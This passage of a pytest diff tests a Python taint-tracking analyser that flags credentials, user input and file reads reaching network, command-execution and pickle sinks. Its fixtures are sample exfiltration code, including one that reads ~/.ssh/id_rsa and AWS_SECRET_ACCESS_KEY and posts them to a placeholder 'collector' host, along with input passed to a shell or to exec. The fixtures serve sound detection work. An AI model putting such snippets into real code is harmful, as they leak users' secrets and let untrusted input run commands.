'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"))', + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"), timeout=10).health()', + 'OpenAIClient(**{"api_key": os.getenv("OPENAI_API_KEY")})', + ): + assert _run(base + call + "\n") == [], call + # A callee with named parameters and its own ``**rest``: a forwarded + # keyword never reaches ``**rest``, with one keyword or two, through + # ``super().__init__(**kwargs)``, ``*args, **kwargs`` or a wrapper. + sdk = _code( + """ + import os, requests + class BaseClient: + def __init__(self, api_key=None, **client_kwargs): + self.api_key = api_key + self.client_kwargs = client_kwargs + def health(self): + return requests.get("https://api.invalid/health", **self.client_kwargs) # SINK + class OpenAIClient(BaseClient): + def __init__(self, {params}): + super().__init__({params}) + {call} + """ + ) + for params in ("**kwargs", "*args, **kwargs"): + for call in ( + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY")).health()', + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"), verify=True).health()', + ): + code = sdk.format(params=params, call=call) + assert _run(code) == [], (params, call) + wrapped = _code( + """ + import os, requests + def call_api(url, {token}, **params): + headers = {{"Authorization": f"Bearer {{token}}"}} + return requests.get(url, params=params) # SINK + def wrapper(**kw): + return call_api("https://example.invalid", **kw) + {call} + """ + ) + for token in ("token=None", "*, token=None"): + for call in ( + 'wrapper(token=os.environ["API_TOKEN"])', + 'wrapper(token=os.environ["API_TOKEN"], q="x")', + 'wrapper(q=os.environ["API_TOKEN"])', + ): + code = wrapped.format(token=token, call=call) + assert _run(code) == [], (token, call) + run = _code( + """ + import subprocess + def run(cmd=None, **opts): + subprocess.run(["git", "status"], **opts) # SINK + def go(**kw): + return run(**kw) + {call} + """ + ) + for call in ("go(cmd=input(), check=True)", "go(cwd=input())"): + assert _run(run.format(call=call)) == [], call + fetch = _code( + """ + import os, requests + def fetch(url=None, token=None): + return requests.get(url, timeout=5) + def wrapper(**kw): + return fetch(**kw) + wrapper(url="https://status.invalid", token=os.getenv("API_TOKEN")) + """ + ) + assert _run(fetch) == [] + into_kwargs = _code( + """ + import os, requests + def send(**opts): + requests.post("https://x.invalid", json=opts) + def wrapper(**kw): + return send(**kw) + wrapper(token=os.getenv("API_TOKEN")) + """ + ) + assert _run(into_kwargs) == [] + # Positive controls: a directly tainted mapping still fills the + # callee's ``**`` parameter, and a direct keyword its named one. + for rule, code in ( + ( + "TT3", + sdk.format( + params="**kwargs", + call='cfg = {"verify": os.getenv("CA_BUNDLE")}\nBaseClient(**cfg).health()', + ), + ), + ( + "TT3", + wrapped.format( + token="token=None", + call='cfg = {"q": os.getenv("API_TOKEN")}\n' + 'call_api("https://example.invalid", **cfg)', + ), + ), + ("TT5", run.format(call='cfg = {"cwd": input()}\nrun(**cfg)')), + ): + assert _summary(code) == [(rule, _line(code, "# SINK"))], code + direct = _code( + """ + import os, requests + def send(token=None, **opts): + requests.post("https://x.invalid", data=token) # SINK + send(token=os.getenv("API_TOKEN")) + """ + ) + assert _summary(direct) == [("TT3", _line(direct, "# SINK"))] + + def test_overflow_arguments_never_fill_earlier_parameters(self) -> None: + cap = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + params = ", ".join(f"p{i}" for i in range(cap)) + code = ( + "import subprocess\n" + "class Tool:\n" + f" def run(self, {params}, *rest):\n" + " subprocess.run(self)\n" + " subprocess.run(p0)\n" + " subprocess.run(rest) # SINK\n" + f"Tool().run({', '.join(['1'] * cap)}, input())\n" + ) + assert _summary(code) == [("TT5", _line(code, "# SINK"))] + + def test_constructors_also_bind_to_new(self) -> None: + for parameter in ("secret", "value"): + code = _code( + f""" + import os, requests + class C: + def __new__(cls, {parameter}): + requests.post("http://x.invalid", data={parameter}) # SINK + return super().__new__(cls) + secret = os.environ.get("KEY") + C(secret) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], parameter + # ``cls`` is implicit in ``C(x)``: the first argument never fills it. + shifted = _code( + """ + import os, requests + class C: + def __new__(cls, user="x", body="public"): + requests.post("http://x.invalid", data=cls) + return super().__new__(cls) + C(os.getenv("KEY")) + C(**{"user": os.getenv("KEY")}) + """ + ) + assert _run(shifted) == [] + + def test_method_lookup_follows_c3_order(self) -> None: + """In a diamond, ``D(B, C)`` with ``B(A)`` and ``C(A)`` resolves ``m`` + on ``C`` before ``A``, as Python's MRO does.""" + diamond = _code( + """ + import os, requests + class A: + def send(self, body): + requests.post("https://x.invalid", data=body) # A_SINK + class B(A): + pass + class C(A): + def send(self, body): + print("local only") + class D(B, C): + def go(self): + super().send(os.getenv("TOKEN")) + def run(self): + self.send(os.getenv("TOKEN")) + """ + ) + assert _run(diamond) == [] + mirrored = diamond.replace( + 'print("local only")', 'requests.post("https://x.invalid", data=body)' + ).replace('requests.post("https://x.invalid", data=body) # A_SINK', "print(body)") + assert [f.rule_id for f in _run(mirrored)] == ["TT3"] + + def test_lookup_is_bounded_to_the_nearest_ancestors(self) -> None: + """The lookup visits ``_MAX_ANCESTORS`` classes, the class included.""" + depth = behavioral_taint_tracking._MAX_ANCESTORS + + def chain(levels_up: int) -> str: + classes = [ + "class K0:\n" + " def send(self, body):\n" + ' requests.post("https://x.invalid", data=body)\n' + ] + classes += [f"class K{i}(K{i - 1}):\n pass\n" for i in range(1, levels_up)] + classes.append( + f"class K{levels_up}(K{levels_up - 1}):\n" + " def go(self):\n" + ' self.send(os.getenv("TOKEN"))\n' + ) + return "import os, requests\n" + "".join(classes) + + assert [f.rule_id for f in _run(chain(depth - 1))] == ["TT3"] + assert _run(chain(depth)) == [] + + def test_lookup_bound_holds_with_several_bases(self) -> None: + """The cap counts classes in C3 order also when the merge has several + bases: the 8th class is searched, the 9th is not.""" + + def module(owner: int) -> str: + lines = ["import os, requests"] + for i in range(8): + if i == owner: + lines += [ + f"class A{i}:", + " def send(self, payload):", + ' requests.post("https://x.invalid", data=payload)', + ] + else: + lines.append(f"class A{i}: pass") + lines += [ + "class D(" + ", ".join(f"A{i}" for i in range(8)) + "):", + " def go(self):", + ' self.send(os.getenv("API_KEY"))', + ] + return "\n".join(lines) + "\n" + + assert behavioral_taint_tracking._MAX_ANCESTORS == 8 + assert [f.rule_id for f in _run(module(6))] == ["TT3"] # D, A0..A6: 8th + assert _run(module(7)) == [] # A7 is the 9th class in the order + + def test_c3_keeps_local_precedence_and_every_base(self) -> None: + """``class C(B1, B2, B3)`` with ``B1(B3)`` resolves ``B2`` before + ``B3``, ``class D(Base, Mixin)`` with ``Base(Root)`` resolves ``Root`` + before ``Mixin``, and a base past the 8th still constrains the order.""" + mixin = """ + import os, requests, subprocess + class Root: + def handle(self, value): + {root} + class Base(Root): + pass + class Mixin: + def handle(self, value): + requests.post("https://x.invalid", data=value) + class D(Base, Mixin): + def go(self): + token = os.getenv("API_KEY") + self.handle(token) + """ + first_base_ancestor = _code(mixin.format(root="subprocess.run(value) # SINK")) + assert _summary(first_base_ancestor) == [("TT2", _line(first_base_ancestor, "# SINK"))] + assert _run(_code(mixin.format(root="return len(value)"))) == [] + local = _code( + """ + import os, requests, subprocess + class B3: + def handle(self, value): + subprocess.run(value) + class B1(B3): + pass + class B2: + def handle(self, value): + requests.post("https://x.invalid", data=value) # SINK + class C(B1, B2, B3): + def go(self): + self.handle(os.getenv("API_KEY")) + """ + ) + assert _summary(local) == [("TT3", _line(local, "# SINK"))] + nine = ( + "import os, requests, subprocess\n" + "class X:\n def handle(self, value):\n subprocess.run(value)\n" + "class A0(X): pass\n" + "class A1:\n def handle(self, value):\n" + ' requests.post("https://x.invalid", data=value) # SINK\n' + + "".join(f"class A{i}: pass\n" for i in range(2, 8)) + + "class A8(X): pass\n" + "class D(" + ", ".join(f"A{i}" for i in range(9)) + "):\n" + ' def go(self):\n self.handle(os.getenv("API_KEY"))\n' + ) + assert _summary(nine) == [("TT3", _line(nine, "# SINK"))] + + def test_self_and_plain_cls_calls_are_not_constructors(self) -> None: + """Only a classmethod's ``cls(...)`` constructs; ``self()`` and the + first parameter of an undecorated method (a metaclass's ``cls``) do + not.""" + for code in ( + _code( + """ + import os, requests + class Vault: + def load(self): + return os.environ.get("TOKEN") + def push(self): + v = self().load() + requests.post("https://x.invalid", data=v) + """ + ), + _code( + """ + import os, requests + class Meta(type): + def secret(cls): + return os.environ.get("TOKEN") + def make(cls): + v = cls().secret() + requests.post("https://x.invalid", data=v) + """ + ), + _code( + """ + import os, requests + class Client: + def __init__(self, token=None): + requests.post("https://x.invalid", data=token) + def __call__(self, token): + return token + def rebuild(self): + self(os.environ.get("TOKEN")) + """ + ), + ): + assert _run(code) == [], code + + def test_a_subclass_body_shadows_a_base_class_attribute(self) -> None: + shadowed = _code( + """ + import os, requests + class Base: + token = os.environ.get("SERVICE_TOKEN") + class PublicProbe(Base): + token = None + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + class MethodProbe(Base): + def token(self): + return "public" + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + """ + ) + assert _run(shadowed) == [] + own = _code( + """ + import os, requests + class Base: + token = os.environ.get("SERVICE_TOKEN") + class Probe(Base): + token = os.environ.get("PROBE_TOKEN") # OWN + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + """ + ) + (finding,) = _run(own) + assert f"'self.token' from os.environ.get (line {_line(own, '# OWN')}," in finding.message + # Any class-body binding shadows, also without a modelled value; an + # annotation without a value binds nothing and does not. + for binding in ( + 'api_key: str = "public"', + "api_key: Optional[str] = None", + 'api_key: ClassVar[str] = ""', + "from json import dumps as api_key", + ): + code = _code( + f""" + import os, requests + from typing import ClassVar, Optional + class Base: + api_key = os.environ["KEY"] + class Public(Base): + {binding} + def send(self): + requests.post("https://x.invalid", headers={{"k": self.api_key}}) + """ + ) + assert _run(code) == [], binding + annotation_only = _code( + """ + import os, requests + class Base: + api_key = os.environ["KEY"] + class Public(Base): + api_key: str + def send(self): + requests.post("https://x.invalid", headers={"k": self.api_key}) + """ + ) + assert [f.rule_id for f in _run(annotation_only)] == ["TT3"] + # An instance store in the subclass does not hide the class value + # (flow-insensitive, as documented). + instance = _code( + """ + import os, requests + class Base: + token = os.environ.get("SERVICE_TOKEN") + class Probe(Base): + def __init__(self): + self.token = None + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + """ + ) + assert [f.rule_id for f in _run(instance)] == ["TT3"] + + def test_a_static_init_receives_the_arguments_without_an_instance(self) -> None: + code = _code( + """ + import os, requests + class Client: + @staticmethod + def __init__(token): + requests.post("https://x.invalid", data=token) # SINK + Client(os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_method_kinds_and_receivers(self) -> None: + """``__new__`` is static, a staticmethod's first parameter is no + receiver, and ``super()`` resolves inside comprehensions and lambdas.""" + new_offset = _code( + """ + import os, requests + class Base: + def __new__(cls, secret): + requests.post("https://x.invalid", data=secret) # SINK + return object.__new__(cls) + class Child(Base): + def __new__(cls): + return super().__new__(cls, os.getenv("TOKEN")) + """ + ) + static_first = _code( + """ + import os, requests + class Client: + @staticmethod + def configure(other): + other.token = os.getenv("TOKEN") + def send(self): + requests.post("https://x.invalid", data=self.token) + """ + ) + in_comprehension = _code( + """ + import os, requests + class Base: + def send(self, v): + requests.post("https://x.invalid", data=v) # SINK + class Child(Base): + def run(self): + [super().send(os.getenv("TOKEN")) for _ in range(1)] + """ + ) + in_lambda = in_comprehension.replace( + '[super().send(os.getenv("TOKEN")) for _ in range(1)]', + '(lambda: super().send(os.getenv("TOKEN")))()', + ) + shadowed = _code( + """ + import os, requests + def super(): + return Other() + class Other: + def send(self, v): + print(v) + class Base: + def send(self, v): + requests.post("https://x.invalid", data=v) + class Child(Base): + def run(self): + super().send(os.getenv("TOKEN")) + """ + ) + inline_lambda = _code( + """ + import os, requests + (lambda v: requests.post("https://x.invalid", data=v))(os.getenv("TOKEN")) # SINK + """ + ) + assert _summary(new_offset) == [("TT3", _line(new_offset, "# SINK"))] + assert _run(static_first) == [] + for code in (in_comprehension, in_lambda): + assert _summary(code) == [("TT3", _line(code, "# SINK"))], code + assert _run(shadowed) == [] + assert _summary(inline_lambda) == [("TT3", _line(inline_lambda, "# SINK"))] + + +class TestNotResolved: + """Calls whose callee is not known from syntax alone bind nothing, as on main. + + Receiver type inference, the untyped-receiver fallback into every + same-named method, callback rules and ``@property`` reads were dropped: + each produced denial-of-service paths or false positives. Variable names + differ from the callee's parameters, so neither version reports these. + """ + + def test_instance_receivers_do_not_bind(self) -> None: + """Variables, attributes and casts holding an instance are not typed. + + (``Api().upload(...)`` and ``cls().upload(...)`` do bind: see + ``TestMethods.test_constructed_receivers_bind_and_return``.) + """ + for setup, call in ( + ("api = Api()", "api.upload(secret)"), + ("api: Api = Api()", "api.upload(secret)"), + ("api = cast(Api, raw)", "api.upload(secret)"), + ("self.api = Api()", "self.api.upload(secret)"), + ): + code = _code( + f""" + import os, requests + from typing import cast + class Api: + def upload(self, body): + requests.post("https://x.invalid", data=body) + class Runner: + def main(self, raw): + secret = os.getenv("API_TOKEN") + {setup} + {call} + """ + ) + assert _run(code) == [], call + + def test_returns_through_instance_variables_are_not_read(self) -> None: + """The trade-off of dropping receiver typing: a value returned through + an instance held in a variable or attribute is not followed. ``main`` + reports these only when the callee's local shares the caller's name.""" + for setup, call in ( + ("vault = Vault()", "vault.load()"), + ("vault: Vault = Vault()", "vault.load()"), + ("self.vault = Vault()", "self.vault.load()"), + ): + code = _code( + f""" + import os, requests + class Vault: + def load(self): + token = os.environ.get("API_TOKEN") + return token + class Runner: + def main(self): + {setup} + payload = {call} + requests.post("https://x.invalid", data=payload) + """ + ) + assert _run(code) == [], call + + def test_untyped_receivers_never_fan_out_to_same_named_methods(self) -> None: + code = _code( + """ + import os, requests + MODELS = {"small": "s"} + class Uploader: + def __init__(self, url): + self.url = url + def format(self, record): + return requests.post(self.url, json={"record": record}, timeout=10) + def get(self, model_id): + return requests.get(f"https://models.invalid/{model_id}") + def banner(): + user = os.environ.get("USER", "unknown") + return "Running as {}".format(user) + def selected_model(params): + params.get(os.environ.get("MODEL")) + return MODELS.get(os.environ.get("MODEL_SIZE", "small")) + """ + ) + assert _run(code) == [] + + def test_callbacks_do_not_bind(self) -> None: + for call in ( + "threading.Thread(target=upload, args=(secret,)).start()", + "executor.submit(upload, secret)", + "setattr(Client, 'token', secret)", + ): + code = _code( + f""" + import os, requests, threading + def upload(body): + requests.post("https://example.invalid", data=body) + class Client: + def __init__(self, url, token=None): + requests.post(url, data=token) + def main(executor): + secret = os.getenv("API_KEY") + {call} + """ + ) + assert _run(code) == [], call + + def test_properties_and_class_name_attributes_are_not_resolved(self) -> None: + code = _code( + """ + import os, requests + class Config: + TOKEN = os.getenv("API_TOKEN") + @property + def key(self): + return os.getenv("API_KEY") + def send(self): + requests.post("https://x.invalid", data=self.key) + def send(): + requests.post("https://x.invalid", data=Config.TOKEN) + """ + ) + assert _run(code) == [] + + def test_class_objects_reached_through_aliases_do_not_bind(self) -> None: + """Only ``ClassName.m(obj, ...)`` binds with the unbound offset; an alias + of the class binds nothing, as on main, so it cannot shift arguments.""" + for call in ( + "B.send(self, os.getenv('USER_NAME'), 'public')", + "self.__class__.send(self, os.getenv('USER_NAME'), 'public')", + "klass.send(self, os.getenv('USER_NAME'), 'public')", + "self.kls.send(self, os.getenv('USER_NAME'), 'public')", + ): + code = _code( + f""" + import os, requests + class Base: + def send(self, user, body): + print(user) + requests.post("https://x.invalid", data=body) + B = Base + class Child(Base): + def __init__(self): + self.kls = Base + def run(self): + klass = Base + {call} + """ + ) + assert _run(code) == [], call + + def test_subclass_overrides_are_not_followed_from_the_base(self) -> None: + code = _code( + """ + import os, requests + class Base: + def token(self): + return "public" + def send(self): + requests.post("https://x.invalid", data=self.token()) + class Child(Base): + def token(self): + return os.getenv("API_TOKEN") + """ + ) + assert _run(code) == [] + + +class TestScopes: + """Lambdas and comprehensions are scopes of their own, as in Python 3.""" + + def test_walrus_inside_a_lambda_does_not_shadow_a_global(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + reset = lambda: (TOKEN := None) + requests.post("https://x.invalid", data=TOKEN) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_walrus_inside_a_comprehension_binds_in_the_function(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + [(TOKEN := "public") for _ in range(1)] + requests.post("https://x.invalid", data=TOKEN) + """ + ) + assert _run(code) == [] + + def test_comprehension_shadowing_keeps_the_outer_name(self) -> None: + for comprehension in ( + "[token for token in ('a', 'b')]", + "{token for token in ('a', 'b')}", + "{token: 1 for token in ('a', 'b')}", + "list(token for token in ('a', 'b'))", + "[t for _ in 'x' for token in 'y']", + ): + code = _code( + f""" + import os, requests + token = os.getenv("API_TOKEN") + def send(): + labels = {comprehension} + requests.post("https://x.invalid", data=token) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], comprehension + + def test_first_iterable_is_read_in_the_enclosing_scope(self) -> None: + code = _code( + """ + import os, requests + def send(): + token = os.getenv("API_TOKEN") + body = [token for token in token] # ASSIGN + requests.post("https://x.invalid", data=body) + """ + ) + (finding,) = _flows(code) + assert f"'body' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message + + def test_class_body_reads_see_the_module_global_until_the_class_binds_it(self) -> None: + """A class body reads a name it also binds with LOAD_NAME: the class's + value once bound, the module global before.""" + for body, rule in ( + ('requests.post("http://x.invalid", data=secret)\n def secret(self): pass', "TT3"), + ('secret = secret\n requests.post("http://x.invalid", data=secret)', "TT3"), + ("secret = secret.strip()\n os.system(secret)", "TT2"), + ("subprocess.run(secret, shell=True)\n for secret in ():\n pass", "TT2"), + ('requests.post("http://x.invalid", data=secret)\n import json as secret', "TT3"), + ): + code = ( + "import os, requests, subprocess\n" + 'secret = os.environ.get("KEY")\n' + f"class Beacon:\n {body}\n" + ) + assert [f.rule_id for f in _run(code)] == [rule], body + command = _code( + """ + import os + cmd = input() + class Boot: + cmd = cmd.strip() + os.system(cmd) + """ + ) + assert [f.rule_id for f in _run(command)] == ["TT5"] + attribute = _code( + """ + import os, requests + API_KEY = os.getenv("API_KEY") + class Client: + API_KEY = API_KEY + def send(self): + requests.post("https://x.invalid", data=self.API_KEY) # SINK + """ + ) + assert _summary(attribute) == [("TT3", _line(attribute, "# SINK"))] + # In a class nested in a function, LOAD_NAME skips the function's + # locals: ``secret = secret`` raises NameError and reads nothing. + nested = _code( + """ + import os, requests + def outer(): + secret = os.environ.get("KEY") + class Beacon: + secret = secret + requests.post("http://x.invalid", data=secret) + return Beacon + """ + ) + assert _run(nested) == [] + # A class body that only assigns a name reads nothing from the global. + store_only = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + class Client: + TOKEN = "public" + def send(self): + requests.post("https://x.invalid", data=self.TOKEN) + """ + ) + assert _run(store_only) == [] + # Reading the name in the class body does not give the class's own + # value (and so ``self.TOKEN``) the global's taint. + for read in ("print(TOKEN)", 'HEADERS = {"X-Token": TOKEN}'): + code = _code( + f""" + import os, requests + TOKEN = os.environ.get("TOKEN") + class PublicClient: + TOKEN = "public-demo-token" + {read} + def ping(self): + return requests.get("https://x.invalid", headers={{"X": self.TOKEN}}) + """ + ) + assert _run(code) == [], read + # The global reaches the class-body name in main's order, so the + # message names the global's source as main does. + ordered = _code( + """ + import os + X = os.getenv("CMD") + Y = open("cmd.txt").read() + class Boot: + X = Y + os.system(X) + """ + ) + (finding,) = _run(ordered) + assert finding.message == ( + "Tainted flow: 'X' from os.getenv (line 2, credential/environment) " + "→ os.system (code execution)" + ) + + def test_global_declared_in_an_enclosing_function_is_global_in_nested_ones(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def outer(): + TOKEN = "public" + def middle(): + global TOKEN + def inner(): + requests.post("https://x.invalid", data=TOKEN) # SINK + inner() + middle() + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + +class TestSourceRank: + """Each key keeps one source, the most severe; a helper can never downgrade it.""" + + def test_helper_defined_first_does_not_preempt_the_credential(self) -> None: + code = _code( + """ + import os, requests + def nonce(): + return requests.get("https://collector.invalid/nonce").text + def run(): + token = os.getenv("API_KEY") + body = nonce() + token # BODY + requests.post("https://collector.invalid/upload", data=body) + """ + ) + (finding,) = _run(code) + assert finding.rule_id == "TT3" + assert f"'body' from os.getenv (line {_line(code, '# BODY')}," in finding.message + + def test_file_read_helper_does_not_preempt_the_credential(self) -> None: + code = _code( + """ + import os, requests + def read_key(): + return open(os.path.expanduser("~/.ssh/id_rsa")).read() + def collect(): + aws = os.environ["AWS_SECRET_ACCESS_KEY"] + loot = {"key": read_key(), "aws": aws} + requests.post("https://collector.invalid/x", json=loot) + """ + ) + assert [f.rule_id for f in _run(code)] == ["TT3"] + + def test_reassignment_keeps_the_most_severe_source_in_either_order(self) -> None: + """Each sink gets the most severe source for its kind, in either order.""" + credential, file_read = 'os.getenv("KEY")', 'open("notes.txt").read()' + network, user = 'requests.get("https://x.invalid").text', 'input("cmd")' + for sources, network_rule, exec_rule in ( + ((file_read, credential), "TT3", "TT2"), + ((network, credential), "TT3", "TT5"), + ((user, file_read), "TT4", "TT5"), + ((credential, user), "TT3", "TT5"), + ): + for first, second in (sources, sources[::-1]): + code = ( + "import os, requests\n" + f"payload = {first}\n" + f"payload = {second}\n" + "body = payload\n" + 'requests.post("https://x.invalid", data=body)\n' + "exec(body)\n" + ) + rules = [f.rule_id for f in _run(code)] + assert rules == [network_rule, exec_rule], (first, second) + + def test_a_helper_never_downgrades_execution_or_file_flows(self) -> None: + """A helper's credential cannot hide user input reaching exec (TT5), nor + a helper's network input a file read reaching the network (TT4).""" + execution = _code( + """ + import os, pickle, requests, subprocess + def prefix(): + return os.getenv("SHELL_PREFIX") + def run(): + user = input("cmd> ") + cmd = prefix() + user # CMD + subprocess.run(cmd, shell=True) + blob = requests.get("https://x.invalid/blob").content + data = prefix() + blob # DATA + pickle.loads(data) + """ + ) + upload = _code( + """ + import requests + def nonce(): + return requests.get("https://x.invalid/nonce").text + def run(): + notes = open("notes.txt").read() + body = nonce() + notes # BODY + requests.post("https://x.invalid/upload", data=body) + """ + ) + assert [(f.rule_id, f.message.split(" (line")[0]) for f in _run(execution)] == [ + ("TT5", "Tainted flow: 'cmd' from input"), + ("TT6", "Tainted flow: 'data' from requests.get"), + ] + assert [(f.rule_id, f.message.split(" (line")[0]) for f in _run(upload)] == [ + ("TT4", "Tainted flow: 'body' from open"), + ] + + def test_seeded_assignment_still_reads_a_more_severe_variable(self) -> None: + code = _code( + """ + import os, requests + token = os.getenv("API_KEY") + body = requests.get("https://x.invalid").text + token # BODY + requests.post("https://x.invalid", data=body) + """ + ) + (finding,) = _run(code) + assert finding.rule_id == "TT3" + assert f"'body' from os.getenv (line {_line(code, '# BODY')}," in finding.message + + def test_inline_sources_pick_the_most_severe(self) -> None: + """The credential is deeper in the expression than the network source.""" + code = _code( + """ + import os, requests + body = requests.get("https://x.invalid").text + os.getenv("KEY").strip() + requests.post("https://x.invalid", data=body) + exec(body) + """ + ) + assert [(f.rule_id, f.message.split(" (line")[0]) for f in _run(code)] == [ + ("TT3", "Tainted flow: 'body' from os.getenv"), + ("TT5", "Tainted flow: 'body' from requests.get"), + ] + + def test_new_flows_never_reorder_main_flows(self) -> None: + """A helper's equal source arriving first through a return does not win.""" + code = _code( + """ + import os, requests + def helper(): + inner = os.environ["A"] + return inner + def run(): + outer = os.getenv("B") + mid = outer + value = helper() + mid # VALUE + requests.post("https://x.invalid", data=value) + """ + ) + (finding,) = _run(code) + assert finding.message == ( + f"Tainted flow: 'value' from os.getenv (line {_line(code, '# VALUE')}, " + "credential/environment) → requests.post (network output)" + ) + + def test_equal_sources_keep_the_first_one_to_arrive(self) -> None: + """Ties are not reordered by the new flows: main's message is kept.""" + code = _code( + """ + import os, requests + def normalize(value): + return value.strip() + def run(): + primary = os.environ["PRIMARY_TOKEN"] + fallback = os.getenv("FALLBACK_TOKEN") + token = normalize(primary) # FIRST + if not token: + token = fallback + requests.post("https://api.invalid/v1", headers={"Authorization": token}) + """ + ) + (finding,) = _run(code) + assert finding.message == ( + f"Tainted flow: 'token' from os.environ (line {_line(code, '# FIRST')}, " + "credential/environment) → requests.post (network output)" + ) + + def test_a_more_severe_source_arriving_later_still_upgrades(self) -> None: + """A flow that already fired with a weaker source fires again for a + more severe one, in both ranked lanes.""" + for first, second, sink, rule, source in ( + ( + "input()", + 'os.getenv("TOKEN")', + 'requests.post("https://x.invalid", data=y)', + "TT3", + "os.getenv", + ), + ('os.getenv("TOKEN")', "input()", "subprocess.run(y)", "TT5", "input"), + ): + code = _code( + f""" + import os, requests, subprocess + a = {first} + b0 = {second} + b1 = b0 + b2 = b1 + x = a + x = b2 + y = x # Y + {sink} + """ + ) + (finding,) = _run(code) + assert finding.rule_id == rule, sink + assert f"'y' from {source} (line {_line(code, '# Y')}," in finding.message + + def test_assigned_variables_reach_helpers_in_every_lane(self) -> None: + """Phase B reads phase A facts again in every lane: a variable + tainted by plain assignment and passed to a helper reaches an + execution or deserialization sink there.""" + for setup, helper, rule in ( + ("x = input()", "exec(p)", "TT5"), + ("x = input()", "subprocess.run(p, shell=True)", "TT5"), + ('x = open("payload.bin", "rb").read()', "pickle.loads(p)", "TT6"), + ('x = requests.get("https://x.invalid").content', "pickle.loads(p)", "TT6"), + ): + code = _code( + f""" + import pickle, requests, subprocess + def run(p): + {helper} # SINK + {setup} + run(x) + """ + ) + assert _summary(code) == [(rule, _line(code, "# SINK"))], helper + + def test_deserialization_ranks_a_file_above_a_credential(self) -> None: + for first, second in ( + ('os.getenv("BLOB")', 'open("payload.bin", "rb").read() # FILE'), + ('open("payload.bin", "rb").read() # FILE', 'os.getenv("BLOB")'), + ): + code = _code( + f""" + import os, pickle + x = {first} + x = {second} + pickle.loads(x) + """ + ) + (finding,) = _run(code) + assert finding.rule_id == "TT6", first + assert f"'x' from open (line {_line(code, '# FILE')}," in finding.message + + +class TestMessageCompatibility: + """Messages keep main's wording for every flow main also reports with the + same rule, except where main's fact came from a same-named variable in + another scope, where a raised rule at the sink subsumes or re-cites a + weaker finding, and where an identifier exceeds ``_MAX_NAME_CHARS``. + + Message-glob baseline rules match the message: the variable read at the + sink and the line of the statement that last tainted it (not the line of + the original source call). + """ + + def test_reassignment_chain_cites_the_last_assignment(self) -> None: + code = _code( + """ + import os, requests + secret = os.getenv("API_KEY") + first = secret + second = first + requests.post("https://example.invalid", data=second) + """ + ) + (finding,) = _flows(code) + assert finding.message == ( + "Tainted flow: 'second' from os.getenv (line 4, credential/environment) " + "→ requests.post (network output)" + ) + + def test_multiline_assignment_cites_the_assignment_line(self) -> None: + code = _code( + """ + import os, requests + payload = { # ASSIGN + "user": "example", + "key": os.getenv("API_KEY"), + } + requests.post("https://example.invalid", json=payload) + """ + ) + (finding,) = _flows(code) + assert f"'payload' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message + + def test_plain_variable_is_cited_before_a_helper_result(self) -> None: + code = _code( + """ + import os, subprocess + def build(args): + return ["ssh", *args] + def host(): + return input("host: ") + args = input("args: ") + subprocess.run(build(args) + [host()]) + """ + ) + (finding,) = _flows(code, "TT5") + assert finding.message == ( + "Tainted flow: 'args' from input (line 6, user input) → subprocess.run (code execution)" + ) + + def test_comprehension_at_the_sink_cites_the_outer_variable(self) -> None: + code = _code( + """ + import os, requests + parts = os.getenv("API_KEY").split(",") + requests.post("https://x.invalid", json=[p for p in parts]) + """ + ) + (finding,) = _flows(code) + assert "'parts' from os.getenv (line 2," in finding.message + + def test_cross_function_flow_cites_the_binding_call(self) -> None: + code = _code( + """ + import os, requests + def upload(payload): + requests.post("https://example.invalid", data=payload) + def main(): + secret = os.getenv("API_KEY") + upload(secret) # CALL + """ + ) + (finding,) = _flows(code) + assert f"'payload' from os.getenv (line {_line(code, '# CALL')}," in finding.message + + def test_attributes_and_calls_are_named_as_the_sink_spells_them(self) -> None: + receiver = "client" + "_" * 200 + code = _code( + f""" + import os, requests + class Client: + def __init__(self): + self.token = os.getenv("API_TOKEN") + def send(self): + requests.post("https://x.invalid", headers={{"X-Token": self.token}}) + def main(): + {receiver} = Client() + if not {receiver}.token: + raise SystemExit(1) + """ + ) + (finding,) = _flows(code) + assert "'self.token' from os.getenv (line 4," in finding.message + assert receiver not in finding.message + + @pytest.mark.parametrize( + ("code", "message"), + [ + pytest.param( + "import os, subprocess\n" + 'cmd = os.getenv("A") + open("f").read()\n' + "subprocess.run(cmd)\n", + "Tainted flow: 'cmd' from os.getenv (line 2, credential/environment) " + "→ subprocess.run (code execution)", + id="exec_credential_and_file", + ), + pytest.param( + "import os, shutil\n" + "def make_client():\n" + ' return os.environ.get("TOKEN")\n' + "def convert(dst):\n" + " client = make_client()\n" + ' pptx_bytes = open("deck.pptx", "rb").read()\n' + " pdf_bytes = client.convert_pdf(pptx_bytes)\n" + " shutil.copy(pdf_bytes, dst)\n", + "Tainted flow: 'pdf_bytes' from open (line 7, file read) → shutil.copy (file write)", + id="file_write_after_helper_credential", + ), + pytest.param( + "import os\n" + "from pathlib import Path\n" + "def _get_client():\n" + ' return Client(os.environ.get("CONVERTER_KEY"))\n' + "def convert(pptx_path, output_path):\n" + " pptx_path = Path(pptx_path)\n" + " output_path = Path(output_path)\n" + " client = _get_client()\n" + " pptx_bytes = pptx_path.read_bytes()\n" + " pdf_bytes = client.convert_pdf(pptx_bytes)\n" + " output_path.write_bytes(pdf_bytes)\n", + "Tainted flow: 'pdf_bytes' from pathlib.Path.read_bytes (line 10, file read) " + "→ pathlib.Path.write_bytes (file write)", + 